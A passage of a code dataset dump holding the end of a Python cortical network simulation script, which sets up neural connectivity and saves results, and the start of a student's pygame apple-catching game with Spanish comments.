xhyp_dist.astype(int)\r\n# \r\n# [yhypx,yhypy] = np.meshgrid(ytarget,ysource)\r\n# yhyp_dist = np.abs(yhypx-yhypy)\r\n# yhyp_dist= yhyp_dist.astype(int)\r\n# \r\n# ei_cen = cen_amp['lr','exc2inh']\r\n# ei_curr[x.T,y.T] = ei_cen[xhyp_dist.T,yhyp_dist.T]\r\n# norm_cortical_connection['lr','exc2inh'] = norm_cortical_connection['lr','exc2inh'] + ei_curr\r\n\r\n # >>>>>>>>>>>>>>>>>>>>>>>>>>>> the 2nd Algorithm >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n for ihyp in range(Net_settings['hyp_num']): # within identical orientation hyper-column\r\n for iori in range(nori):\r\n index_hyper = np.where(hyp_map == ihyp)\r\n index_orien = np.where(ori_map == iori)\r\n index_target = np.intersect1d(index_hyper,index_orien)\r\n index_source = np.setdiff1d(index_orien,index_hyper)\r\n ee_curr = np.zeros((nmax,nmax))\r\n lentarget = len(index_target)\r\n lensource = len(index_source)\r\n [x,y] = np.meshgrid(index_target,index_source)\r\n \r\n A_temp = (np.squeeze(global_dist[x,y])).T\r\n A_temp = np.reshape(A_temp,(lentarget,lensource))\r\n \r\n A_temp = normal_function(A_temp,0,lr_sigma['long_range_exc_exc'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(lentarget,1))\r\n A_sum = np.ones_like(A_sum)/A_sum\r\n A_sum = np.repeat(A_sum,lensource,axis = 1)\r\n \r\n ee_curr[x.T,y.T] = A_temp * A_sum \r\n norm_cortical_connection['lr','exc2exc'] = norm_cortical_connection['lr','exc2exc'] + ee_curr\r\n \r\n ei_curr = np.zeros((nmax,nmax))\r\n lentarget = len(index_target)\r\n lensource = len(index_source)\r\n [x,y] = np.meshgrid(index_target,index_source)\r\n \r\n A_temp = (np.squeeze(global_dist[x,y])).T\r\n A_temp = np.reshape(A_temp,(lentarget,lensource))\r\n \r\n A_temp = normal_function(A_temp,0,lr_sigma['long_range_exc_inh'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(lentarget,1))\r\n A_sum = 1.0/np.repeat(A_sum,lensource,axis = 1)\r\n \r\n ei_curr[x.T,y.T] = A_temp * A_sum \r\n norm_cortical_connection['lr','exc2inh'] = norm_cortical_connection['lr','exc2inh'] + ei_curr\r\n \r\n # for short range connextions within identical hypercolumn\r\n nmax = Net_settings['nmax']\r\n nmaxhyp = Net_settings['xn'] * Net_settings['yn']\r\n \r\n norm_cortical_connection['sr','exc2exc'] = np.zeros((nmax,nmax))\r\n norm_cortical_connection['sr','exc2inh'] = np.zeros((nmax,nmax))\r\n norm_cortical_connection['sr','inh2exc'] = np.zeros((nmax,nmax))\r\n norm_cortical_connection['sr','inh2inh'] = np.zeros((nmax,nmax))\r\n for ihyp in range(Net_settings['hyp_num']):\r\n index_start = nmaxhyp * ihyp \r\n index_end = nmaxhyp * (ihyp + 1)\r\n \r\n # exc to exc\r\n ee_curr = np.zeros((nmax,nmax))\r\n A_temp = np.squeeze(global_dist[index_start:index_end,:])\r\n A_temp = normal_function(A_temp,0,sr_sigma['short_range_exc_exc'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(nmaxhyp,1))\r\n A_sum = 1.0/np.repeat(A_sum,nmax,axis = 1)\r\n A_norm = (A_temp * A_sum) # x - target cell y source cell\r\n ee_curr[index_start:index_end,:] = A_norm\r\n norm_cortical_connection['sr','exc2exc'] = norm_cortical_connection['sr','exc2exc'] + ee_curr\r\n \r\n # exc to inh\r\n ei_curr = np.zeros((nmax,nmax))\r\n A_temp = np.squeeze(global_dist[index_start:index_end,:])\r\n A_temp = normal_function(A_temp,0,sr_sigma['short_range_exc_inh'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(nmaxhyp,1))\r\n A_sum = 1.0/np.repeat(A_sum,nmax,axis = 1)\r\n A_norm = (A_temp * A_sum) # x - target cell y source cell\r\n ei_curr[index_start:index_end,:] = A_norm\r\n norm_cortical_connection['sr','exc2inh'] = norm_cortical_connection['sr','exc2inh'] + ei_curr\r\n \r\n # inh to exc\r\n ie_curr = np.zeros((nmax,nmax))\r\n A_temp = np.squeeze(global_dist[index_start:index_end,:])\r\n A_temp = normal_function(A_temp,0,sr_sigma['short_range_inh_exc'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(nmaxhyp,1))\r\n A_sum = 1.0/np.repeat(A_sum,nmax,axis = 1)\r\n A_norm = (A_temp * A_sum) # x - target cell y source cell\r\n ie_curr[index_start:index_end,:] = A_norm\r\n norm_cortical_connection['sr','inh2exc'] = norm_cortical_connection['sr','inh2exc'] + ie_curr\r\n \r\n # inh to inh\r\n ii_curr = np.zeros((nmax,nmax))\r\n A_temp = np.squeeze(global_dist[index_start:index_end,:])\r\n A_temp = normal_function(A_temp,1,sr_sigma['short_range_inh_inh'])\r\n A_sum = np.reshape(np.sum(A_temp,axis = 1),(nmaxhyp,1))\r\n A_sum = 1.0/np.repeat(A_sum,nmax,axis = 1)\r\n A_norm = (A_temp * A_sum) # x - target cell y source cell\r\n ii_curr[index_start:index_end,:] = A_norm\r\n norm_cortical_connection['sr','inh2inh'] = norm_cortical_connection['sr','inh2inh'] + ii_curr\r\n \r\n return norm_cortical_connection\r\n \r\ndef cortical_to_cortical_connection(background_population_dict, internal_population_dict, g_norm, delay, orientations,\r\n phases,cortical_norm):\r\n connection_list = []\r\n \"\"\"\r\n Could be used to create DEE/DIE/DEI/DII/(DEE with LEEf/DIE with LIEf)\r\n \"\"\"\r\n nmax = Net_settings['nmax']\r\n DEE,DEI,DIE,DII = np.zeros((nmax,nmax)),np.zeros((nmax,nmax)),np.zeros((nmax,nmax)),np.zeros((nmax,nmax))\r\n\r\n # feedforward connections\r\n for ihyp in range(Net_settings['hyp_num']):\r\n num_in_hyp = Net_settings['xn'] * Net_settings['yn']\r\n start_id = ihyp * num_in_hyp\r\n end_id = (ihyp + 1) * num_in_hyp\r\n \r\n for ixs in range(Net_settings['xn']):\r\n for iys in range(Net_settings['yn']):\r\n sub_index_seed = iys + ixs * ( Net_settings['yn'])\r\n g_index_seed = sub_index_seed + start_id\r\n \r\n # source_exc, target_exc\r\n source_population = background_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[g_index_seed,'e']\r\n curr_connection = Connection(source_population,target_population,nsyn = 1.0,nsyn_post = Cell_type_num['e'], \r\n weights = 0.132,probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)#0.030#\r\n connection_list.append(curr_connection)\r\n \r\n # source_inh, target_inh\r\n source_population = background_population_dict[g_index_seed,'i']\r\n target_population = internal_population_dict[g_index_seed,'i']\r\n curr_connection = Connection(source_population,target_population,nsyn = 1.0,nsyn_post = Cell_type_num['i'], \r\n weights = 0.1314,probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)#0.0290#\r\n connection_list.append(curr_connection)\r\n \"\"\"\r\n \"\"\"\r\n # short-range connectivity nomalized \r\n ge2e = g_norm['short_range_exc_exc']\r\n ge2i = g_norm['short_range_exc_inh']\r\n gi2e = g_norm['short_range_inh_exc']\r\n gi2i = g_norm['short_range_inh_inh'] \r\n \r\n gle2ef = g_norm['long_range_exc_exc_fast']\r\n gle2if = g_norm['long_range_exc_inh_fast'] \r\n \r\n gle2e = g_norm['long_range_exc_exc']\r\n gle2i = g_norm['long_range_exc_inh'] \r\n\r\n \r\n short_range_exc2exc = cortical_norm['sr','exc2exc']\r\n short_range_exc2inh = cortical_norm['sr','exc2inh']\r\n short_range_inh2exc = cortical_norm['sr','inh2exc']\r\n short_range_inh2inh = cortical_norm['sr','inh2inh']\r\n \r\n long_range_exc2exc = cortical_norm['lr','exc2exc']\r\n long_range_exc2inh = cortical_norm['lr','exc2inh']\r\n \"\"\"\r\n \"\"\"\r\n # self-connectivity (only when g_index_seed == target_index)\r\n for ihyp in range(Net_settings['hyp_num']):\r\n num_in_hyp = Net_settings['xn'] * Net_settings['yn']\r\n start_id = ihyp * num_in_hyp\r\n end_id = (ihyp + 1) * num_in_hyp\r\n \r\n for ixs in range(Net_settings['xn']):\r\n for iys in range(Net_settings['yn']):\r\n sub_index_seed = iys + ixs * ( Net_settings['yn'])\r\n g_index_seed = sub_index_seed + start_id\r\n i_up_triangle = g_index_seed\r\n\r\n # source_exc, target_exc\r\n if(short_range_exc2exc[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[i_up_triangle,'e']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['e'], \r\n weights = ge2e * short_range_exc2exc[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEE[i_up_triangle,g_index_seed] += ge2e * short_range_exc2exc[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n\r\n # source_exc, target_inh\r\n if(short_range_exc2inh[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[i_up_triangle,'i']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['i'], \r\n weights = ge2i * short_range_exc2inh[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DIE[i_up_triangle,g_index_seed] += ge2i * short_range_exc2inh[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n\r\n # source_inh, target_exc\r\n if(short_range_inh2exc[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'i']\r\n target_population = internal_population_dict[i_up_triangle,'e']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['e'], \r\n weights = gi2e * short_range_inh2exc[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEI[i_up_triangle,g_index_seed] += gi2e * short_range_inh2exc[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n\r\n # source_inh, target_inh\r\n if(short_range_inh2inh[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'i']\r\n target_population = internal_population_dict[i_up_triangle,'i']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['i'], \r\n weights = gi2i * short_range_inh2inh[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DII[i_up_triangle,g_index_seed] += gi2i * short_range_inh2inh[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n \"\"\"\r\n \"\"\"\r\n # long-range connectivity \r\n # choose excitatory as !!! source neuron !!!\r\n for ihyp in range(Net_settings['hyp_num']):\r\n num_in_hyp = Net_settings['xn'] * Net_settings['yn']\r\n start_id = ihyp * num_in_hyp\r\n end_id = (ihyp + 1) * num_in_hyp\r\n \r\n for ixs in range(Net_settings['xn']):\r\n for iys in range(Net_settings['yn']):\r\n sub_index_seed = iys + ixs * ( Net_settings['yn'])\r\n g_index_seed = sub_index_seed + start_id\r\n \r\n long_range_exc2exc = cortical_norm['lr','exc2exc']\r\n long_range_exc2inh = cortical_norm['lr','exc2inh']\r\n \r\n # long-range excitatory 2 excitatory\r\n # already know seed cell index\r\n # long-range connectivity [target,source]\r\n # choose excitatory subpopulation as source neuron\r\n total_exc2exc = np.squeeze(long_range_exc2exc[:,g_index_seed])\r\n total_exc2inh = np.squeeze(long_range_exc2inh[:,g_index_seed])\r\n # effective targetneuron\r\n effective_target_exc = np.where(total_exc2exc)\r\n effective_target_inh = np.where(total_exc2inh)\r\n \r\n for itarget in range(len(effective_target_exc[0])):\r\n icell = effective_target_exc[0][itarget]\r\n checkicell = effective_target_inh[0][itarget]\r\n if(icell!=checkicell):\r\n print('Cell-index for Long-range connectivity is wrong!\\n')\r\n if(long_range_exc2exc[icell,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n # excitatory target\r\n target_population = internal_population_dict[icell,'e']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['e'],\r\n weights = gle2e * long_range_exc2exc[icell,g_index_seed],probs = 1.0,conn_type = 'LongRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # long-range fast synaptic input\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['e'],\r\n weights = gle2ef * long_range_exc2exc[icell,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEE[icell,g_index_seed] += gle2ef * long_range_exc2exc[icell,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # inhibitory target\r\n if(long_range_exc2inh[checkicell,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[checkicell,'i']\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['i'], \r\n weights = gle2i * long_range_exc2inh[checkicell,g_index_seed],probs = 1.0,conn_type = 'LongRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # long-range fast synaptic input\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['i'], \r\n weights = gle2if * long_range_exc2inh[checkicell,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DIE[checkicell,g_index_seed] += gle2if * long_range_exc2inh[checkicell,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n \"\"\"\r\n \"\"\"\r\n nmax = Net_settings['hyp_num'] * Net_settings['xn'] * Net_settings['yn']\r\n # short-range connectivity, different patches, not 'delta' self-connectivity\r\n for ihyp in range(Net_settings['hyp_num']):\r\n num_in_hyp = Net_settings['xn'] * Net_settings['yn']\r\n start_id = ihyp * num_in_hyp\r\n end_id = (ihyp + 1) * num_in_hyp\r\n \r\n for ixs in range(Net_settings['xn']):\r\n for iys in range(Net_settings['yn']):\r\n sub_index_seed = iys + ixs * ( Net_settings['yn'])\r\n g_index_seed = sub_index_seed + start_id\r\n for i_up_triangle in range(g_index_seed+1,nmax):#end_id):\r\n\r\n # source_exc, target_exc\r\n if(short_range_exc2exc[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[i_up_triangle,'e']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['e'],\r\n weights = ge2e * short_range_exc2exc[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEE[i_up_triangle,g_index_seed] += ge2e * short_range_exc2exc[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # inverse\r\n if(short_range_exc2exc[g_index_seed,i_up_triangle]>(4.7*1e-6)):\r\n source_population = internal_population_dict[i_up_triangle,'e']\r\n target_population = internal_population_dict[g_index_seed,'e']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['e'], \r\n weights = ge2e * short_range_exc2exc[g_index_seed,i_up_triangle],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEE[g_index_seed,i_up_triangle] += ge2e * short_range_exc2exc[g_index_seed,i_up_triangle]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # source_exc, target_inh\r\n if(short_range_exc2inh[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'e']\r\n target_population = internal_population_dict[i_up_triangle,'i']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['i'], \r\n weights = ge2i * short_range_exc2inh[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n\r\n DIE[i_up_triangle,g_index_seed] += ge2i * short_range_exc2inh[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n if(short_range_exc2inh[g_index_seed,i_up_triangle]>(4.7*1e-6)):\r\n source_population = internal_population_dict[i_up_triangle,'e']\r\n target_population = internal_population_dict[g_index_seed,'i']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['e'],nsyn_post = Cell_type_num['i'], \r\n weights = ge2i * short_range_exc2inh[g_index_seed,i_up_triangle],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DIE[g_index_seed,i_up_triangle] += ge2i * short_range_exc2inh[g_index_seed,i_up_triangle]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # source_inh, target_exc\r\n if(short_range_inh2exc[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'i']\r\n target_population = internal_population_dict[i_up_triangle,'e']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['e'], \r\n weights = gi2e * short_range_inh2exc[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEI[i_up_triangle,g_index_seed] += gi2e * short_range_inh2exc[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n if(short_range_inh2exc[g_index_seed,i_up_triangle]>(4.7*1e-6)):\r\n source_population = internal_population_dict[i_up_triangle,'i']\r\n target_population = internal_population_dict[g_index_seed,'e']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['e'], \r\n weights = gi2e * short_range_inh2exc[g_index_seed,i_up_triangle],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DEI[g_index_seed,i_up_triangle] += gi2e * short_range_inh2exc[g_index_seed,i_up_triangle]\r\n\r\n connection_list.append(curr_connection)\r\n \r\n # source_inh, target_inh\r\n if(short_range_inh2inh[i_up_triangle,g_index_seed]>(4.7*1e-6)):\r\n source_population = internal_population_dict[g_index_seed,'i']\r\n target_population = internal_population_dict[i_up_triangle,'i']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['i'], \r\n weights = gi2i * short_range_inh2inh[i_up_triangle,g_index_seed],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DII[i_up_triangle,g_index_seed] += gi2i * short_range_inh2inh[i_up_triangle,g_index_seed]\r\n\r\n connection_list.append(curr_connection)\r\n if(short_range_inh2inh[g_index_seed,i_up_triangle]>(4.7*1e-6)):\r\n source_population = internal_population_dict[i_up_triangle,'i']\r\n target_population = internal_population_dict[g_index_seed,'i']\r\n\r\n curr_connection = Connection(source_population,target_population,nsyn = Cell_type_num['i'],nsyn_post = Cell_type_num['i'], \r\n weights = gi2i * short_range_inh2inh[g_index_seed,i_up_triangle],probs = 1.0,conn_type = 'ShortRange',v_min = -1.0,v_max = 1.0,dv = dv)\r\n\r\n DII[g_index_seed,i_up_triangle] += gi2i * short_range_inh2inh[g_index_seed,i_up_triangle]\r\n\r\n\r\n connection_list.append(curr_connection)\r\n \"\"\"\r\n \"\"\" \r\n return connection_list,DEE,DIE,DEI,DII\r\n\r\n\r\ndef create_longrange_connection(Net_settings,sigma_hyplr):\r\n\tlrtarget_xaxis, lrtarget_yaxis = 0.0,0.0\r\n # center 0,0\r\n\txhyp_tt = Net_settings['xhyp'] * 1\r\n\tlenx = xhyp_tt * 2 + 1\r\n\tyhyp_tt = Net_settings['yhyp'] * 1 # 0#\r\n\tleny = yhyp_tt * 2 + 1 #1#\r\n # here we only care about x-axis, not y-axis perpendicular to exact x-axis \r\n\r\n\tdxx_hyp2 = Net_settings['dxx_hyp']**2\r\n\r\n\txhyp_range = np.reshape(np.arange(-xhyp_tt,xhyp_tt+1),(lenx,1))\r\n\txhyp_range = np.repeat(xhyp_range,leny,axis = 1)\r\n\r\n\tyhyp_range = np.reshape(np.arange(-yhyp_tt,yhyp_tt+1),(1,leny))\r\n\tyhyp_range = np.repeat(yhyp_range,lenx,axis = 0)\r\n\r\n\tlrhyp_xdis = np.abs(xhyp_range - lrtarget_xaxis * np.ones_like(xhyp_range))\r\n\tlrhyp_xdis = lrhyp_xdis**2 * dxx_hyp2\r\n\r\n\tlrhyp_ydis = np.abs(yhyp_range - lrtarget_yaxis * np.ones_like(yhyp_range))\r\n\tlrhyp_ydis = lrhyp_ydis**2 * dxx_hyp2\r\n\r\n\tlrhyp_dist = np.sqrt(lrhyp_xdis + lrhyp_ydis) # squart\r\n\r\n\t# normalization long-range connections for ei and ee\r\n\t_normalization_factor = np.sqrt(2*np.pi)\r\n\r\n\tcen_amp = {}\r\n\tcen_amp['lr','exc2exc'] = np.zeros((xhyp_tt+1,yhyp_tt+1))\r\n#\tprint('xhyp:',xhyp_tt,'yhyp:',yhyp_tt)\r\n\tcen_amp['lr','exc2inh'] = np.zeros((xhyp_tt+1,yhyp_tt+1))\r\n\t# long-range excitatory to excitatory\r\n\tmean,sigma = 0.0,sigma_hyplr['long_range_exc_exc']\r\n\texp_amp = np.exp(-np.power((lrhyp_dist - mean)/sigma, 2)/2.0) / (sigma * _normalization_factor)\r\n\texp_amp[xhyp_tt,yhyp_tt] = 0.0\r\n\tsum_amp = np.squeeze(np.reshape(exp_amp,(lenx*leny,1)))\r\n\tsum_amp = np.sum(sum_amp)\r\n\texp_amp /= sum_amp\r\n\tcen_amp['lr','exc2exc'] = exp_amp[xhyp_tt:,yhyp_tt:]\r\n\r\n\t# long-range excitatory to inhibitory\r\n\tmean,sigma = 0.0,sigma_hyplr['long_range_exc_inh']\r\n\texp_amp = np.exp(-np.power((lrhyp_dist - mean)/sigma, 2)/2.0) / (sigma * _normalization_factor)\r\n\texp_amp[xhyp_tt,yhyp_tt] = 0.0\r\n\tsum_amp = np.squeeze(np.reshape(exp_amp,(lenx*leny,1)))\r\n\tsum_amp = np.sum(sum_amp)\r\n\texp_amp /= sum_amp\r\n\tcen_amp['lr','exc2inh'] = exp_amp[xhyp_tt:,yhyp_tt:]\r\n\r\n\treturn lrhyp_xdis,lrhyp_ydis,lrhyp_dist,cen_amp\r\n\r\n\r\n\r\nNet_settings,Hypm,Pham,Orim,index_2_loc = create_functional_columns(Net_settings,Fun_map_settings,ori)\r\n(dxx,dyy) = (500.0/Net_settings['xn'],500.0/Net_settings['yn'])\r\ndxx = dxx**2\r\ndyy = dyy**2\r\nglobal_x,global_y,global_dist = preprocess_for_distance(index_2_loc,dxx,dyy,Net_settings,Fun_map_settings)\r\ncortical_norm = cortical_to_cortical_connection_normalization(global_dist,sr_sigma,lr_sigma,ori,Hypm,Net_settings,Fun_map_settings)\r\n\r\nconnection_list,DEE,DIE,DEI,DII = cortical_to_cortical_connection(background_population_dict,internal_population_dict,g_norm,0.0,Orim,Pham,\r\n cortical_norm)\r\n\r\n\"\"\"\r\n\"\"\"\r\nsimulation = Simulation(population_list, connection_list,Net_settings,Cell_type_num,DEE,DIE,DEI,DII,verbose=True)\r\n(mEbin_ra,mIbin_ra,xEbin_ra,xIbin_ra,VEavgbin_ra,VIavgbin_ra,VEstdbin_ra,VIstdbin_ra,rEbin_ra,rIbin_ra,P_MFEbin_ra,nEbin_ra,nIbin_ra) = simulation.update(t0=t0, dt=dt, tf=tf)\r\n\r\n\r\n# recording data\r\nimport time\r\nimport scipy.io as scio\r\nISOTIMEFORMAT='%Y%m%d%H%M%S'\r\nfilename=str(time.strftime(ISOTIMEFORMAT)) + '_large.mat'\r\nscio.savemat(filename,{'mEbin_ra':mEbin_ra,'mIbin_ra':mIbin_ra,'xEbin_ra':xEbin_ra,'xIbin_ra':xIbin_ra,'rEbin_ra':rEbin_ra,'rIbin_ra':rIbin_ra,'P_MFEbin_ra':P_MFEbin_ra,'nEbin_ra':nEbin_ra,'nIbin_ra':nIbin_ra}) \r\nfilename=str(time.strftime(ISOTIMEFORMAT)) + 'V_large.mat'\r\nscio.savemat(filename,{'VEavgbin_ra':VEavgbin_ra,'VIavgbin_ra':VIavgbin_ra,'VEstdbin_ra':VEstdbin_ra,'VIstdbin_ra':VIstdbin_ra}) \r\nfileparamname=str(time.strftime(ISOTIMEFORMAT)) + '_large_params.mat'\r\nscio.savemat(fileparamname, {'DEE':DEE,'DEI':DEI,'DIE':DIE,'DII':DII,'active_brightened':active_brightened,'active_darken':active_darken})\r\n\r\n","sub_path":"RunVoltageMoment.py","file_name":"RunVoltageMoment.py","file_ext":"py","file_size_in_byte":56171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69675778","text":"#Cecilia Daniela Olivares Hernández, a01745727 Grupo 3. LAD\r\nimport random\r\nimport pygame\r\n\r\n# Dimensiones de la pantalla\r\nANCHO = 600\r\nALTO = 800\r\n\r\n# Colores\r\nBLANCO = (255, 255, 255) # R,G,B en el rango [0,255], 0 ausencia de color, 255 toda la intensidad\r\nVERDE_BANDERA = (27, 94, 32) # un poco de rojo, más de verde, un poco de azul\r\nROJO = (255, 0, 0) # solo rojo, nada de verde, nada de azul\r\nAZUL = (0, 0, 255) # nada de rojo, ni verde, solo azul\r\nNEGRO = (0, 0, 0)\r\n\r\n# Temporalmente las coordenadas de la CANASTA(x,y)\r\nxCanasta = 0\r\nyCanasta = 690\r\n\r\n# Temporalmente las coordenadas de la MANZANA(x,y)\r\nxManzana = ANCHO // 2\r\nyManzana = -75\r\nDX = +5 # velocidadDERECHA (-1) IZQ\r\nangulo = 0 # angulko en grados\r\n\r\n#FUNCIONES\r\n# Dibuja la pantalla del MENU PRINCIPAL\r\ndef dibujarMenu(ventana, botonJugar, botonInstrucciones, botonPuntuaciones):\r\n ventana.blit(botonJugar, (230, 230))\r\n ventana.blit(botonInstrucciones, (205, 320))\r\n ventana.blit(botonPuntuaciones, (205, 400))\r\n\r\n# dibuja el MOUSE\r\ndef dibujarMouse(ventana, xMouse, yMouse):\r\n if xMouse != -1:\r\n pygame.draw.circle(ventana, BLANCO, (xMouse, yMouse), 50)\r\n\r\n\r\n# Dibuja la pantalla de las INSTRUCCIONES\r\ndef dibujarInstrucciones(ventana, fondoInstrucciones, botonMenu):\r\n ventana.blit(fondoInstrucciones, (0, 0))\r\n ventana.blit(botonMenu, (420, 660))\r\n\r\n\r\n# Dibuja la pantalla de los PUNTAJE\r\ndef dibujarTablaPuntaje(ventana, fondoPuntaje, botonMenu):\r\n ventana.blit(fondoPuntaje, (0, 0))\r\n ventana.blit(botonMenu, (420, 660))\r\n\r\n# Dibuja la pantalla de JUEGO\r\ndef dibujarJuego(ventana, fondoJuego):\r\n ventana.blit(fondoJuego, (0, 0))\r\n\r\n# Dibuja la CANASTA\r\ndef dibujarCanasta(ventana, canasta):\r\n ventana.blit(canasta, (xCanasta, yCanasta))\r\n\r\n# Dibuja las MANZANAS\r\ndef dibujarManzanas(ventana, manzana):\r\n global xManzana, DX, yManzana, angulo\r\n ventana.blit(manzana, (xManzana, yManzana))\r\n xManzana += DX\r\n # CHOQUE DRCH\r\n if xManzana >= ANCHO - 70 or xManzana <= 0: # ancho menos ancho manzanas\r\n DX = -DX\r\n\r\n# Dibuja la CAIDA de MANZANAS\r\ndef dibujarCaida(ventana, spriteCaida):\r\n if spriteCaida.rect.left != -1:\r\n ventana.blit(spriteCaida.image, spriteCaida.rect)\r\n spriteCaida.rect.top += 10\r\n if spriteCaida.rect.top < -75:\r\n spriteCaida.rect.left = -1\r\n\r\n# Regresa TRUE si HAY COLISIÓN, FALSE en otro caso\r\ndef probarColision(spriteCaida):\r\n global xCanasta\r\n xManzana = spriteCaida.rect.left\r\n yManzana = spriteCaida.rect.top\r\n if xManzana >= xCanasta and xManzana <= xCanasta + 100 and yManzana >= yCanasta and yManzana <= yCanasta:# medidas CANASTA\r\n return True\r\n if (xManzana <= xCanasta or xManzana >= xCanasta + 100) and yManzana >= yCanasta and yManzana <= yCanasta:\r\n return False #no hay colision\r\n\r\n#dibuja el PUNTAJE\r\ndef dibujarPuntaje(ventana, puntaje, fuente):\r\n texto = fuente.render(\"Puntaje: \" + str(puntaje), 1, NEGRO)\r\n ventana.blit(texto, (30, 15))\r\n\r\n#dibuja las VIDAS\r\ndef dibujarVidas(ventana, vidas, fuente):\r\n texto = fuente.render(\"Vidas: 0\" + str(vidas), 1, NEGRO)\r\n ventana.blit(texto, (300, 15))\r\n\r\n#dibuja el PUNTAJE FINAL\r\ndef dibujarPuntajeFinal(ventana, puntaje, fuenteTotal):\r\n texto = fuenteTotal.render(\"Score: \" + str(puntaje), 1, NEGRO)\r\n ventana.blit(texto, (200, 400))\r\n\r\n#Lista de ENEMIGOS\r\nlistaEnemigos = [] #Lista vacia\r\n\r\n#LISTA DE ENEMIGOS\r\n#dibuja la lista de los enemigos\r\ndef dibujarListaEnemigos(ventana, 